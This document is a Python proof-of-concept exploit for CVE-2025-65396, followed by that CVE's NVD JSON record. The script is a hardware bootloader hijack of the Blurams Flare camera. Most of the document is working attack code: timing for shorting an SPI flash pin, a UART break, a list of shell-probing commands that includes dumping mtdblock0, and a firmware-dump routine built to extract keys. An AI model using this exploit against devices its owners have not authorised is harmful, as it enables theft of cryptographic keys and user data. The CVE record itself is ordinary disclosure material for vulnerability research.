CVE-2025-65396

#!/usr/bin/env python3 # CVE-2025-65396 PoC - Blurams Flare Camera Bootloader Hijack # Hardware Requirements: UART adapter, SPI flash clip/probe, metal tool for shorting import time import serial def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Establish UART connection to the device""" ser = serial.Serial(port, baudrate, timeout=5) time.sleep(2) return ser def trigger_spi_read_error(): """ Physical step: Short SPI flash data pin (IO0) to ground during boot This should be done within 100-500ms after power-on Use a probe or wire to short pins 8 and 6 on the SPI flash IC """ print("[+] Power on device and immediately short SPI flash data pin to GND") print("[+] Recommended: Use oscilloscope trigger to synchronize timing") time.sleep(0.3) print("[+] SPI read error should now be induced") def exploit_bootloader_shell(ser): """Once SPI error is triggered, interact with UART shell""" # Clear buffer ser.reset_input_buffer() # Send break signal to enter bootloader mode ser.send_break(0.1) time.sleep(0.5) # Try common bootloader commands commands = [ 'help', '?', 'shell', 'sh', 'busybox sh', 'cat /proc/mtd', 'cat /dev/mtdblock0 > /dev/ttyGS0' ] for cmd in commands: ser.write((cmd + '\n').encode()) time.sleep(0.3) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') if 'root' in response or '#' in response or 'shell' in response.lower(): print(f"[+] Shell obtained with command: {cmd}") print(response) return True return False def dump_firmware(ser): """Dump firmware via bootloader shell""" # Read SPI flash content dump_cmd = "mtd_debug read /dev/mtd0 0x0 0x800000 /tmp/firmware.bin" ser.write((dump_cmd + '\n').encode()) time.sleep(5) # Transfer firmware via UART or network transfer_cmd = "cat /tmp/firmware.bin | base64" ser.write((transfer_cmd + '\n').encode()) time.sleep(10) return ser.read(ser.in_waiting).decode('utf-8', errors='ignore') def main(): print("CVE-2025-65396 PoC for Blurams Flare Camera") print("=" * 50) # Step 1: Trigger SPI flash read error trigger_spi_read_error() # Step 2: Connect to UART input("Press Enter after shorting SPI pin...") ser = connect_uart() # Step 3: Exploit to get shell if exploit_bootloader_shell(ser): print("[+] Success! Bootloader shell obtained") print("[+] You can now dump firmware and extract keys") # Optional: dump firmware # firmware = dump_firmware(ser) else: print("[-] Failed to obtain shell, try adjusting timing") ser.close() if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-65396", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:06.810", "lastModified": "2026-02-03T18:38:42.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the boot process of Blurams Flare Camera version 24.1114.151.929 and earlier allows a physically proximate attacker to hijack the boot mechanism and gain a bootloader shell via the UART interface. This is achieved by inducing a read error from the SPI flash memory during the boot, by shorting a data pin of the IC to ground. An attacker can then dump the entire firmware, leading to the disclosure of sensitive information including cryptographic keys and user configurations."}, {"lang": "es", "value": "Una vulnerabilidad en el proceso de arranque de la cámara Blurams Flare versión 24.1114.151.929 y anteriores permite a un atacante con proximidad física secuestrar el mecanismo de arranque y obtener un shell del bootloader a través de la interfaz UART. Esto se logra al inducir un error de lectura de la memoria flash SPI durante el arranque, al cortocircuitar un pin de datos del CI a tierra. Un atacante puede entonces volcar el firmware completo, lo que lleva a la divulgación de información sensible, incluyendo claves criptográficas y configuraciones de usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-1274"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:blurams:dome_flare_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "24.1114.151.929", "matchCriteriaId": "7DF75DE9-F147-44E6-9DBC-567B852365B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:blurams:dome_flare:-:*:*:*:*:*:*:*", "matchCriteriaId": "D5924B6A-3F95-490D-B119-0ECF8D988F3A"}]}]}], "references": [{"url": "http://blurams.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://flare.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://lessonsec.com/cve/cve-2025-65396/", "source": "[email protected]", "tags": ["Broken Link"]}]}}